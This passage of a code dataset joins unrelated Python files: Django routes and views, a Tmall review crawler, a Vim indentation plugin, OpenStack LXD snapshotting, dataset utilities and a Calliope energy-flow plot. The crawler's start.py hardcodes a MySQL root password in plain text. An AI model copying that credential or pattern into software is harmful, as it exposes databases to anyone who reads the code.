print(kap)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"85787755","text":"from django.conf.urls import url\nfrom django.contrib import auth\n\nfrom . import views\n\napp_name = 'accounts'\n\nurlpatterns = [\n url(r'^signup/$', views.signup, name='signup'),\n url(r'^login/$', views.login, name='login'),\n url(r'^logout/$', views.logout, name='logout'),\n url(r'^update/$', views.update, name='update'),\n url(r'^search/$', views.search, name='search'),\n # url(r'^(?P\\w+)/$', views.detail, name='detail'),\n url(r'^join/(?P\\w+)/$', views.join_group, name='join'),\n url(r'^groups/(?P\\w+)/$', views.groups, name='groups'),\n url(r'^password_change/', views.password_change, name='password_change'),\n #url(r'^password/reset/$', auth.views.password_reset, {'post_reset_redirect': '/password/reset/done/'}, name='password_reset'),\n #url(r'^password/reset/done/$', auth.views.password_reset_done),\n #url(r'^password/reset/(?P[0-9A-Za-z]+)-(?P.+)/$', auth.views.password_reset_confirm, {'post_reset_redirect': '/password/done/'}, name='password_reset_confirm'),\n #url(r'^password/done/$', auth.views.password_reset_complete),\n url(r'^friend/(?P\\w+)/list/$', views.FriendList.as_view(), name='friend.list'),\n url(r'^friend/(?P\\w+)/for_list/$', views.FriendForList.as_view(), name='friend.list_for'),\n url(r'^friend/(?P\\w+)/create/$', views.FriendCreate.as_view(), name='friend.create'),\n url(r'^friend/(?P\\w+)/(?P[0-9]+)/$', views.FriendDetail.as_view(), name='friend.detail'),\n url(r'^friend/(?P\\w+)/(?P[0-9]+)/update/$', views.FriendUpdate.as_view(), name='friend.update'),\n url(r'^friend/(?P\\w+)/(?P[0-9]+)/delete/$', views.FriendDelete.as_view(), name='friend.delete'),\n url(r'^profile/list/$', views.ProfileList.as_view(), name='profile.list'),\n url(r'^profile/(?P\\w+)/$', views.ProfileDetail.as_view(), name='profile.detail'),\n url(r'^profile/(?P\\w+)/update/$', views.ProfileUpdate.as_view(), name='profile.update'),\n url(r'^profile/(?P\\w+)/friend/$', views.profile_toggle_friend, name='profile.friend'),\n url(r'^profile/(?P\\w+)/credit/$', views.profile_toggle_credit, name='profile.credit'),\n]\n\n","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"415862925","text":"# -*- coding: UTF-8 -*-\nimport logging\nimport time\n\nimport pymysql\n\nimport import_tmall_data\nimport mail\nimport tmall_rate_require\n\nlogger = logging.getLogger(\"start\")\nlogger.setLevel(level=logging.INFO)\nhandler = logging.FileHandler(\"log.log\")\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\n\nlogger.addHandler(handler)\nlogger.addHandler(console)\n\n\ndef init():\n import_tmall_data.run()\n syn_data()\n\n\ndef run():\n result = select_item_info()\n if len(result) == 0:\n logger.info(\"the size of item info is 0!\")\n\n for data in result:\n cups = tmall_rate_require.Cups(data[0], data[1])\n cups.run()\n time.sleep(10)\n mail.send_mail()\n\n\ndef syn_data():\n logger.info(\"开始同步数据\")\n # 打开数据库连接\n db = pymysql.connect(\"127.0.0.1\", \"root\", \"luog@1989\", \"cup\", charset=\"utf8mb4\")\n\n # 使用cursor()方法获取操作游标\n cursor = db.cursor()\n\n sql1 = \"TRUNCATE TABLE tmall_rate_task_result;\"\n sql2 = \"INSERT INTO tmall_rate_task_result SELECT seller_id as sellerId, item_id as itemId, \" \\\n \"\\\"2000-01-01 0:00:00\\\" AS maxRateDate FROM item_info;\"\n sql3 = \"UPDATE tmall_rate_task_result t1, (SELECT sellerId, itemId, MAX(rateData) as maxRateDate \" \\\n \"FROM tmall_rate_result GROUP BY sellerId, itemId) t2 \" \\\n \"SET t1.maxRateDate = t2.maxRateDate \" \\\n \"WHERE t1.sellerId = t2.sellerId AND t1.itemId=t2.itemId; \"\n try:\n # 执行sql语句\n logger.info(\"清除历史缓存数据\")\n cursor.execute(sql1)\n logger.info(\"插入缓存数据\")\n cursor.execute(sql2)\n logger.info(\"更新缓存数据\")\n cursor.execute(sql3)\n # 执行sql语句\n db.commit()\n logger.info(\"同步数据完成\")\n except Exception as e:\n logger.info(\"同步数据失败! error msg: %s\" % e)\n # 发生错误时回滚\n db.rollback()\n\n\ndef select_item_info():\n result = []\n # 打开数据库连接\n db = pymysql.connect(\"127.0.0.1\", \"root\", \"luog@1989\", \"cup\", charset=\"utf8mb4\")\n\n # 使用cursor()方法获取操作游标\n cursor = db.cursor()\n\n # SQL 查询语句\n sql = \"select seller_id, item_id from item_info\"\n\n # 执行SQL语句\n try:\n cursor.execute(sql)\n # 获取所有记录列表\n results = cursor.fetchall()\n for row in results:\n result.append(row)\n except Exception as e:\n logger.error(\"error! error msg: %s\" % e)\n # 发生错误时回滚\n db.rollback()\n return []\n logger.info(\"select record! sql: \" + sql)\n # 关闭数据库连接\n db.close()\n return result\n\n\nif __name__ == \"__main__\":\n logger.info(\"天猫爬虫启动成功!\")\n init()\n run()\n logger.info(\"天猫爬虫任务执行成功!\")\n","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"426281996","text":"import os\nimport sys\nimport vim\nimport time\nimport subprocess\n\nocp_indent_path = \"ocp-indent\"\nocp_lastline = None\nocp_lasttime = None\nocp_linefst = 0\nocp_linebuf = []\nocp_inarow = 0\n\ndef ocp_indent(lines):\n if lines:\n if type(lines) == int:\n end = lines\n lines = \"%d-%d\" % (lines,lines)\n else:\n end = lines[1]\n lines = \"%d-%d\" % lines\n content = \"\\n\".join(vim.current.buffer[:end] + [\"X\"])\n process = subprocess.Popen(\n [ocp_indent_path,\"--lines\",lines,\"--numeric\"],\n stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n process.stdin.write(content)\n process.stdin.close()\n return map(int,process.stdout.readlines())\n\ndef vim_indentline():\n global ocp_lastline, ocp_lasttime, ocp_linefst, ocp_linebuf, ocp_inarow\n line = int(vim.eval(\"v:lnum\"))\n if ocp_lastline == line - 1 and abs(time.time() - ocp_lasttime) < 0.1:\n # Possibly a selection indentation, use a threshold to detect consecutive calls\n if ocp_inarow > 2:\n if not (line >= ocp_linefst and line < ocp_linefst + len(ocp_linebuf)):\n ocp_linefst = line\n ocp_linebuf = ocp_indent((line, min(line + 200, len(vim.current.buffer))))\n return ocp_linebuf[line - ocp_linefst]\n else:\n # Increment counter\n ocp_inarow += 1\n else:\n # Not a selection indentation\n ocp_inarow = 0\n\n # Current line indentation\n ocp_linebuf = []\n indent = ocp_indent(line)\n indent = indent.pop()\n ocp_lasttime = time.time()\n ocp_lastline = line\n return indent\n\ndef vim_equal():\n r = vim.current.range\n w = vim.current.window\n pos = w.cursor\n vim.command(\"0,'>!%s --lines %d-\" % (ocp_indent_path, r.start+1))\n w.cursor = pos\n","sub_path":"autoload/ocpindent.py","file_name":"ocpindent.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"197527634","text":"# Copyright (c) 2001-2016, Canal TP and/or its affiliates. All rights reserved.\n#\n# This file is part of Navitia,\n# the software to build cool stuff with public transport.\n#\n# Hope you'll enjoy and contribute to this project,\n# powered by Canal TP (www.canaltp.fr).\n# Help us simplify mobility and open public transport:\n# a non ending quest to the responsive locomotion way of traveling!\n#\n# LICENCE: This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n# Stay tuned using\n# twitter @navitia\n# IRC #navitia on freenode\n# https://groups.google.com/d/forum/navitia\n# www.navitia.io\n\nimport requests\n\nfrom tartare.core.context import Context\nfrom tartare.core.models import ValidityPeriod, DataSource\nfrom tartare.exceptions import IntegrityException, ValidityPeriodException\nfrom tartare.processes.abstract_process import AbstractFusioProcess\nfrom tartare.processes.fusio import Fusio\n\n\nclass FusioImport(AbstractFusioProcess):\n def get_validity_period(self) -> ValidityPeriod:\n validity_periods = [\n DataSource.get_one(data_source_id).get_last_data_set().validity_period\n for data_source_id in self.input_data_source_ids\n ]\n try:\n validity_period_union = ValidityPeriod.union(validity_periods).to_valid(self.context.current_date.date())\n except ValidityPeriodException as exception:\n raise IntegrityException(\"bounds date for fusio import incorrect: {detail}\".format(detail=str(exception)))\n return validity_period_union\n\n def do(self) -> Context:\n validity_period = self.get_validity_period()\n resp = self.fusio.call(\n requests.post,\n api=\"api\",\n data={\n \"DateDebut\": Fusio.format_date(validity_period.start_date),\n \"DateFin\": Fusio.format_date(validity_period.end_date),\n \"action\": \"regionalimport\",\n },\n )\n\n self.context.validity_period = validity_period\n self.fusio.wait_for_action_terminated(self.fusio.get_action_id(resp.content))\n return self.context\n","sub_path":"tartare/processes/coverage/fusio_import.py","file_name":"fusio_import.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"516381138","text":"'''\nProject Euler 71\nFraction to left of 3/7 with denom < 1000000\n'''\n\nimport math, time\nt0 = time.time()\n\nbest = [1,3]\nfor n in range(1000000,970000,-1):\n if n % 7 == 0:\n p = int(n/7)*3 - 1 \n else:\n p = math.floor(3*n/7)\n \n if best[0]*n - best[1]*p <0:\n best = [p,n]\n\nprint (best, best[1])\nprint (time.time() - t0)\n","sub_path":"old_solutions/projecteuler71.py","file_name":"projecteuler71.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"623669572","text":"\"\"\"This script aims to produce a MAD versus training sample size\nplot. Here is a list of parameters that this script uses:\n\ncat_filename: catalog filename\nsample_sizes: the list of training sample sizes of interests\nfeatures_name: list of columns to be used as features\nlabel_name: column to be used as label\nRegressor: the Regressor class to use that supports sklearn-like syntax\noutput_dir: directory to saved the plot and data\noutput_prefix: filename prefix to identify the outputs\n\nThe script produces two files as output\n{output_dir}/{output_prefix}.npy: MAD data for future plotting\n{output_dir}/{output_prefix}.png: MAD vs sample size plot\n\n\"\"\"\n\nimport os\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom scipy.optimize import curve_fit\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.ensemble import RandomForestRegressor\n\nfrom utils import *\n\n#####################\n# define parameters #\n#####################\n\n# input parameters\ncat_filename = 'data/Catalog_Graham+2018_10YearPhot.dat'\n\n# model parameters\ntrain_sample_size = int(1E5) # 1E5\ntest_sample_size = int(1E5) # size of test sample\nfeatures_name = ['u10', 'g10', 'r10', 'i10', 'z10', 'y10']\nlabels_name = 'redshift'\n\n# regression parameters\nRegressor = RandomForestRegressor\nparameters = {\n \"n_estimators\": [10, 20, 50, 100, 200, 500, 1000],\n}\n\n################\n# main program #\n################\n\n# load data: first load the maximum number of sample sizes that will\n# be used\nprint(\"Loading data...\")\ncat_data = load_data(cat_filename)\n\n# select a subset to be used for our training and testing\n# randomly sample a max(train_sample_sizes) + test_sample_size subset\ntotal_sample_size = int(round(train_sample_size + test_sample_size))\ncat_data = cat_data.sample(total_sample_size)\n\n# split into two groups: train and test\ncat_train = cat_data.head(int(round(train_sample_size)))\ncat_test = cat_data.tail(test_sample_size)\n\n# initialize an empty array to store the MAD for different sample sizes\nsample_size = int(round(train_sample_size))\n\n# first round it to nearest integar if not already \nsample_size = int(round(sample_size))\nprint(\"sample_size: %d\" % sample_size)\n\n# sample the required number of data from catalog\nprint(\"-> Randomly sampling %d data from catalog...\" % sample_size)\ncat_train_sample = cat_train.sample(sample_size)\n\n# Get training and testing data and labels\nprint(\"-> Spliting into train and test sets...\")\nX_train, X_test, y_train, y_test = prepare_data(cat_train_sample, cat_test)\n\n# train model\nprint(\"-> Training model...\")\n\n# use a grid search to narrow down the best parameters\nmodel = GridSearchCV(estimator=Regressor(), param_grid=parameters, scoring=score_func)\nmodel.fit(X_train, y_train)\n\n# test model\nprint(model.best_params_)\n\n# assign value to MAD list\nprint(\"Done!\")\n","sub_path":"rf_cv.py","file_name":"rf_cv.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"220457354","text":"from datetime import datetime, timedelta\nfrom django.views.generic import TemplateView\nfrom django.core.context_processors import csrf\nfrom django.utils.timezone import utc\nfrom django.http import HttpResponse\nfrom cloudengine.core.forms import CreateAppForm\nfrom cloudengine.core.models import CloudApp, CloudAPI\nfrom cloudengine.auth.models import Token\nfrom cloudengine.push.models import PushNotification\nfrom cloudengine.users.models import AppUser\n\n\nclass AccountKeysView(TemplateView):\n\n def get_context_data(self, **kwargs):\n context = super(AccountKeysView, self).get_context_data(**kwargs)\n apps = CloudApp.objects.all()\n context['apps'] = apps\n try:\n token = Token.objects.get(user=self.request.user)\n context['api_key'] = token.key\n except Token.DoesNotExist:\n context['api_key'] = ''\n return context\n\n\nclass AdminHomeView(TemplateView):\n template_name = 'admin_home.html'\n \n def get_context_data(self):\n apps = CloudApp.objects.all()\n if not apps:\n return {'n_apps': 0, 'n_api' : 0,\n 'n_push': 0, 'n_users': 0}\n \n now = datetime.utcnow().replace(tzinfo=utc)\n today = now.date()\n one_month = timedelta(days=30)\n one_month_back = today - one_month\n try:\n res = CloudAPI.objects.filter(date__gt = one_month_back)\n except CloudAPI.DoesNotExist:\n res = []\n n_api = reduce(lambda x, y: x + y.count, res, 0)\n \n try:\n res = PushNotification.objects.filter(send_time__gt = one_month_back)\n except CloudAPI.DoesNotExist:\n res = []\n n_push = reduce(lambda x, y: x + y.num_subscribers, res, 0)\n \n users = AppUser.objects.all()\n \n return {'n_apps': len(apps), 'n_api' : n_api,\n 'n_push': n_push, 'n_users': len(users)}\n\n\nclass CreateAppView(TemplateView):\n template_name = \"create_app.html\"\n form = CreateAppForm()\n msg = \"\"\n \n def get_context_data(self):\n context = {}\n context.update(csrf(self.request))\n context['form'] = self.form\n context[\"msg\"] = self.msg\n return context\n \n def post(self, request):\n form = CreateAppForm(request.POST)\n if form.is_valid():\n app_name = form.cleaned_data['app_name']\n myapp = CloudApp(app_name)\n myapp.save()\n self.msg = \"App created successfully!\"\n else:\n self.form = form\n \n return self.get(request)\n\n\nclass AppSettingsView(TemplateView):\n template_name= \"app_settings.html\"\n\n def get_context_data(self, app_name):\n app = CloudApp.objects.get(name=app_name)\n apps = CloudApp.objects.all()\n token = Token.objects.all()[0]\n return { 'app_name': app_name, 'app': app,\n 'api_key': token, 'apps': apps}\n\n\nclass AppsBrowser(TemplateView):\n template_name = \"apps.html\"\n\n def get_context_data(self):\n apps = CloudApp.objects.all()\n c = {'apps' : apps}\n return c\n \n \n ","sub_path":"cloudengine/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"633392869","text":"from Mapa import Mapa\nfrom estruturasDados.Fila import Fila\n\n\nclass Largura:\n def __init__(self, inicio, objetivo):\n self.inicio = inicio\n self.inicio.visitado = True\n self.objetivo = objetivo\n self.fronteira = Fila(50)\n self.fronteira.enfileirar(inicio)\n self.achou = False\n\n def buscar(self):\n primeiro = self.fronteira.getPrimeiro()\n print('Primeiro ::', primeiro.nome)\n\n if primeiro == self.objetivo:\n self.achou = True\n print(':: FIM :: ')\n else:\n temp = self.fronteira.desenfileirar()\n print(\"Desenfileirar ::\", temp.nome)\n\n for a in primeiro.adjacentes:\n print(\"Verificando se ja visitado :: \", a.no.nome)\n if a.no.visitado == False:\n a.no.visitado = True\n self.fronteira.enfileirar(a.no)\n if self.fronteira.numeroElementos > 0:\n Largura.buscar(self)\n\n\n'''teste'''\nmapa = Mapa()\nlargura = Largura(mapa.a, mapa.bb)\nlargura.buscar()","sub_path":"buscas/bfs_dfs_oo/Largura.py","file_name":"Largura.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"491015816","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import division\nimport argparse\nimport os\n\ntry:\n import commands\nexcept Exception as e:\n import subprocess as commands\nimport xml.etree.ElementTree as ET\nimport tqdm\n\n\ndef resize(args):\n imgfile = os.path.join(args.root, 'JPEGImages/%s.jpg')\n xmlfile = os.path.join(args.root, 'Annotations/%s.xml')\n filenames = [x[:-4] for x in os.listdir(os.path.join(args.root, 'Annotations')) if x.endswith('.xml')]\n\n imgpath = os.path.join(args.root, 'JPEGImages_{}'.format(args.size))\n xmlpath = os.path.join(args.root, 'Annotations_{}'.format(args.size))\n if not os.path.exists(imgpath):\n os.makedirs(imgpath)\n if not os.path.exists(xmlpath):\n os.makedirs(xmlpath)\n\n t = tqdm.tqdm()\n t.total = len(filenames)\n\n for filename in sorted(filenames):\n t.update()\n #cmd = 'convert {} -geometry x{} {}/{}.jpg'.format(imgfile % filename, args.size, imgpath, filename)\n #(status, output) = commands.getstatusoutput(cmd)\n #output = output.split('\\n')\n \n tree = ET.parse(xmlfile % filename)\n width = int(tree.find('size').find('width').text)\n height = int(tree.find('size').find('height').text)\n scale = args.size / height\n\n root = tree.getroot()\n for node in root.iter('height'):\n node.text = str(args.size)\n for name in ['width', 'xmin', 'ymin', 'xmax', 'ymax']:\n for node in root.iter(name):\n new_value = int(int(node.text) * scale)\n node.text = str(new_value)\n tree.write('{}/{}.xml'.format(xmlpath, filename))\n\n\ndef main(args):\n resize(args)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Resize voc-like image and anno in dataset')\n parser.add_argument('--root', default='', type=str, help='voc-like dataset path')\n parser.add_argument('--size', default=256, type=int, help='dst size in height')\n \n args = parser.parse_args()\n main(args)\n","sub_path":"tools/resizeDS.py","file_name":"resizeDS.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"73306537","text":"# Copyright 2011 Justin Santa Barbara\n# Copyright 2015 Canonical Ltd\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.from oslo_config import cfg\n\nfrom nova.compute import task_states\nfrom nova import exception\nfrom nova import i18n\nfrom nova import image\n\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\n\nfrom nova_lxd.nova.virt.lxd.session import session\n\n_ = i18n._\n\nCONF = cfg.CONF\nLOG = logging.getLogger(__name__)\n\nIMAGE_API = image.API()\n\n\nclass LXDSnapshot(object):\n\n def __init__(self):\n self.session = session.LXDAPISession()\n\n def snapshot(self, context, instance, image_id, update_task_state):\n LOG.debug('in snapshot')\n update_task_state(task_state=task_states.IMAGE_PENDING_UPLOAD)\n\n snapshot = IMAGE_API.get(context, image_id)\n\n ''' Create a snapshot of the running contianer'''\n self.create_container_snapshot(snapshot, instance)\n\n ''' Publish the image to LXD '''\n self.session.container_stop(instance.name, instance.host, instance)\n fingerprint = self.create_lxd_image(snapshot, instance)\n self.create_glance_image(\n context, image_id, snapshot, fingerprint, instance)\n\n update_task_state(task_state=task_states.IMAGE_UPLOADING,\n expected_state=task_states.IMAGE_PENDING_UPLOAD)\n\n self.session.container_start(instance)\n\n def create_container_snapshot(self, snapshot, instance):\n LOG.debug('Creating container snapshot')\n csnapshot = {'name': snapshot['name'],\n 'stateful': False}\n self.session.container_snapshot(csnapshot, instance)\n\n def create_lxd_image(self, snapshot, instance):\n LOG.debug('Uploading image to LXD image store.')\n image = {\n 'source': {\n 'name': '%s/%s' % (instance.name,\n snapshot['name']),\n 'type': 'snapshot'\n }\n }\n LOG.debug(image)\n (state, data) = self.session.container_publish(image, instance)\n\n LOG.debug('Creating LXD alias')\n fingerprint = str(data['metadata']['fingerprint'])\n snapshot_alias = {'name': snapshot['id'],\n 'target': fingerprint}\n LOG.debug(snapshot_alias)\n self.session.create_alias(snapshot_alias, instance)\n return fingerprint\n\n def create_glance_image(self, context, image_id, snapshot, fingerprint,\n instance):\n LOG.debug('Uploading image to glance')\n image_metadata = {'name': snapshot['name'],\n \"disk_format\": \"raw\",\n \"container_format\": \"bare\"}\n try:\n data = self.session.container_export(fingerprint, instance)\n IMAGE_API.update(context, image_id, image_metadata, data)\n except Exception as ex:\n msg = _(\"Failed: %s\") % ex\n raise exception.NovaException(msg)\n","sub_path":"nova_lxd/nova/virt/lxd/container_snapshot.py","file_name":"container_snapshot.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"137000719","text":"\"\"\"\nCopyright (C) 2013-2019 Calliope contributors listed in AUTHORS.\nLicensed under the Apache 2.0 License (see LICENSE file).\n\nflows.py\n~~~~~~~~~~~~~~~\n\nPlot energy flows data.\n\"\"\"\n\nimport pandas as pd\n\nfrom calliope.analysis.plotting.util import break_name, get_range\n\n\ndef _line(locs_coordinates, transmission_type, to_location, from_location, carrier, tech, prod, scale_factor,\n techs_colors, is_initial_timestep, add_legend, name):\n # e.g. \"Region1->Region2: 256.54 by gas_transmission (gas)\"\n hover_info = \"%s->%s: %.2f by %s (%s)\" % \\\n (from_location, to_location, prod, transmission_type, carrier)\n\n line = dict(\n visible=False,\n mode=\"lines\",\n hoverinfo=\"text\",\n text=\"\",\n line=dict(\n width=prod * scale_factor + 1,\n color=techs_colors[transmission_type]\n ),\n legendgroup=transmission_type,\n opacity=0.6,\n showlegend=False\n )\n\n line_legend = dict(\n visible=False,\n mode=\"lines\",\n hoverinfo=\"text\",\n text=\"\",\n line=dict(\n width=10,\n color=techs_colors[transmission_type]\n ),\n legendgroup=transmission_type,\n name=break_name(name, 18),\n opacity=0.6,\n )\n\n line_info_marker = dict(\n visible=False,\n mode=\"markers\",\n hoverinfo=\"text\",\n text=hover_info,\n marker=dict(\n symbol=\"square\",\n opacity=0,\n color=techs_colors[transmission_type]\n ),\n legendgroup=transmission_type,\n name=tech,\n showlegend=False\n )\n\n if set(locs_coordinates.index) == set([\"x\", \"y\"]):\n h_coord, v_coord = \"x\", \"y\"\n elif set(locs_coordinates.index) == set([\"lon\", \"lat\"]):\n h_coord, v_coord = \"lon\", \"lat\"\n\n line[h_coord] = [\n locs_coordinates[from_location][h_coord],\n locs_coordinates[to_location][h_coord]\n ]\n line[v_coord] = [\n locs_coordinates[from_location][v_coord],\n locs_coordinates[to_location][v_coord]\n ]\n line_legend[h_coord] = [None]\n line_legend[v_coord] = [None]\n line_info_marker[h_coord] = [(1 / 2) * (locs_coordinates[from_location][h_coord] +\n locs_coordinates[to_location][h_coord])]\n line_info_marker[v_coord] = [(1 / 2) * (locs_coordinates[from_location][v_coord] +\n locs_coordinates[to_location][v_coord])]\n\n if is_initial_timestep:\n # plot only the first timestep data when the chart is initialized\n line[\"visible\"] = True\n line_legend[\"visible\"] = True\n line_info_marker[\"visible\"] = True\n if add_legend:\n return [line, line_legend, line_info_marker]\n else:\n return [line, line_info_marker]\n\n\ndef _marker(locs_coordinates, location, carrier, tech, prod, scale_factor,\n techs_colors, is_initial_timestep, add_legend, name):\n # Example: \"Region1: 3552.65 of pipe_import (gas)\"\n hover_info = \"%s: %.2f of %s (%s)\" % \\\n (location, prod, tech, carrier)\n\n marker_dict = dict(\n visible=False,\n hoverinfo=\"text\",\n text=hover_info,\n mode=\"markers\",\n marker=dict(\n symbol=\"circle-dot\",\n opacity=0.6,\n size=prod * scale_factor + 1,\n color=techs_colors[tech],\n ),\n legendgroup=tech,\n showlegend=False\n )\n\n marker_legend = dict(\n visible=False,\n hoverinfo=\"text\",\n text=hover_info,\n mode=\"markers\",\n marker=dict(\n symbol=\"circle-dot\",\n opacity=0.6,\n size=10,\n color=techs_colors[tech],\n ),\n legendgroup=tech,\n name=break_name(name, 18)\n )\n\n if set(locs_coordinates.index) == set([\"x\", \"y\"]):\n h_coord, v_coord = \"x\", \"y\"\n elif set(locs_coordinates.index) == set([\"lon\", \"lat\"]):\n h_coord, v_coord = \"lon\", \"lat\"\n\n marker_dict[h_coord] = [locs_coordinates[location][h_coord]]\n marker_dict[v_coord] = [locs_coordinates[location][v_coord]]\n marker_legend[h_coord] = [None]\n marker_legend[v_coord] = [None]\n\n if is_initial_timestep:\n # plot only the first timestep data when the chart is initialized\n marker_dict[\"visible\"] = True\n marker_legend[\"visible\"] = True\n if add_legend:\n return [marker_dict, marker_legend]\n else:\n return [marker_dict]\n\n\ndef _production_data(model, timesteps, timestep):\n \"\"\"\n returns a list of dicts, each dict is a plotly marker (location production)\n or line (transmission) on the map.\n \"\"\"\n locs_coordinates = model._model_data.loc_coordinates.to_pandas()\n locs_techs_carriers_production = model.get_formatted_array(\"carrier_prod\")\n techs_colors = model._model_data.colors.to_pandas()\n scale_factor = 100 / abs(model.results.carrier_prod.values.max() -\n model.results.carrier_prod.values.min())\n tech_names = set(model._model_data.techs.values)\n\n production_data = []\n # we iterate through each dimension for one timestep in order to\n # add the different production sources of the location and line\n # transmissions toward it\n # Complexity: O(len(carriers)*len(techs)*len(locations)). Considering\n # len(carriers) is supposed to be small (<10), we have a large margin in\n # terms of techs and locations numbers (len(techs)*len(locations) <= 10^9,\n # equivalent to one second processing time for python)\n links = []\n # list of sets { tech, from_location, to_location }\n links_data = []\n # links associated data, like prod, carrier, transmission_type\n # [ [prod, carrier, transmission_type], [] ..]\n for location in locs_techs_carriers_production.locs.values:\n\n for carrier in locs_techs_carriers_production.carriers.values:\n techs_production = locs_techs_carriers_production.sel(\n carriers=carrier,\n locs=location\n ).to_pandas()\n for tech, prod in techs_production.loc[:, timestep].iteritems():\n if prod and prod > 0:\n # if some energy is at stake\n\n tech_name = tech.split(\":\")[0]\n if tech_name in tech_names:\n add_legend = True\n tech_names.discard(tech_name)\n name = model._model_data.names.loc[tech_name].item()\n else:\n # only add legend information once for a tech\n add_legend = False\n name = ''\n\n if len(tech.split(\":\")) > 1:\n # \"transmission_type:location\"\n # if it gets energy from another location\n [transmission_type, from_location] = tech.split(\":\")\n links.append({tech_name, from_location, location})\n links_data.append({\n \"transmission_type\": transmission_type,\n \"from_location\": from_location,\n \"to_location\": location,\n \"prod\": prod,\n \"carrier\": carrier,\n \"tech\": tech,\n \"add_legend\": add_legend,\n \"name\": name,\n })\n else:\n # if the energy comes from this location\n production_data.extend(\n _marker(\n locs_coordinates, location,\n carrier, tech, prod,\n scale_factor, techs_colors,\n timestep == timesteps[0],\n add_legend, name\n )\n )\n\n def merge(first_link, second_link):\n if first_link['prod'] > second_link['prod']:\n first_link['prod'] -= second_link['prod']\n return first_link\n elif first_link['prod'] < second_link['prod']:\n second_link['prod'] -= first_link['prod']\n return second_link\n else:\n # the two transmission links are equal,\n # thus, no representation of it is return\n return {}\n\n # merge the links data\n links_merged = []\n while len(links) > 0:\n data = links_data[0]\n # we check if there is a transmission\n # link in the opposite direction and merge if so\n j = 1\n while j < len(links):\n if links[j] == links[0]:\n data = merge(links_data[0], links_data[j])\n links.remove(links[j])\n links_data.remove(links_data[j])\n j -= 1\n j += 1\n links_merged.append(data)\n links.remove(links[0])\n links_data.remove(links_data[0])\n\n # add merged links to production_data\n for link in links_merged:\n if link:\n params_list = [\n locs_coordinates,\n link[\"transmission_type\"],\n link[\"to_location\"],\n link[\"from_location\"],\n link[\"carrier\"],\n link[\"tech\"],\n link[\"prod\"],\n scale_factor, techs_colors,\n timestep == timesteps[0],\n link[\"add_legend\"],\n link[\"name\"]\n ]\n production_data.extend(_line(*params_list))\n\n return production_data\n\n\ndef plot_flows(model, timestep_cycle=1, timestep_index_subset=[], **kwargs):\n \"\"\"\n Parameters\n ----------\n timestep_cycle : int, optional\n Shows one of every timestep_cycle timesteps. Default is 1 (all timesteps\n are shown).\n timestep_index_subset : list of int, optional\n Only the timesteps between those two indexes are shown. Default is []\n (all timesteps are shown).\n \"\"\"\n\n if len(timestep_index_subset) == 2:\n timestep_start = timestep_index_subset[0]\n timestep_end = timestep_index_subset[1]\n else:\n timestep_start, timestep_end = 0, len(model._model_data.timesteps.values)\n\n try:\n locs_coordinates = model._model_data.loc_coordinates\n except AttributeError:\n raise ValueError(\n 'Model does not define location coordinates '\n '- no energy flow plotting possible.'\n )\n\n timesteps = model._model_data.timesteps.values[\n timestep_start:timestep_end:timestep_cycle\n ] # slicing the desired timesteps\n timeseries_dateformat = model.model_config['timeseries_dateformat']\n\n steps_length = []\n data = []\n for timestep in timesteps:\n data_by_timestep = _production_data(model, timesteps, timestep)\n steps_length.append(len(data_by_timestep))\n data.extend(data_by_timestep)\n\n steps = []\n for i, timestep in enumerate(timesteps):\n step = dict(\n # active=\"label 